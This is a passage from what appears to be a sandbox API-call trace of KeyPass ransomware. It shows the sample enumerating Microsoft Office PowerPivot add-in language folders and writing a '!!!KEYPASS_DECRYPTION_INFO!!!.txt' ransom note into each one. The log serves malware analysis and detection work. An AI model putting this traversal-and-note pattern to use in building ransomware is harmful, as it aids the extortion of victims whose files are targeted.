Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.401] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.401] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.402] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.402] GetLastError () returned 0x3f0 [0253.402] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.402] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0253.412] GetFileType (hFile=0x8a8) returned 0x1 [0253.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.413] WriteFile (in: hFile=0x8a8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.414] WriteFile (in: hFile=0x8a8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.414] CloseHandle (hObject=0x8a8) returned 1 [0253.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987378 [0253.414] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml") returned=".xml" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.416] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.417] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.417] FindNextFileW (in: hFindFile=0x3987378, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.418] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.418] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.418] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.418] GetLastError () returned 0x3f0 [0253.418] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.418] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0253.466] GetFileType (hFile=0x89c) returned 0x1 [0253.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.466] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.466] WriteFile (in: hFile=0x89c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.467] WriteFile (in: hFile=0x89c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.467] CloseHandle (hObject=0x89c) returned 1 [0253.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39879b8 [0253.467] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.497] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml") returned=".xml" [0253.497] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.497] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.497] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.497] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.498] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.499] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.499] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.499] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.499] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.499] FindNextFileW (in: hFindFile=0x39879b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.499] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.499] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.499] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.499] GetLastError () returned 0x3f0 [0253.499] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.499] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0253.503] GetFileType (hFile=0x8ac) returned 0x1 [0253.503] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.503] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.504] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.504] WriteFile (in: hFile=0x8ac, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.504] WriteFile (in: hFile=0x8ac, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.504] CloseHandle (hObject=0x8ac) returned 1 [0253.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 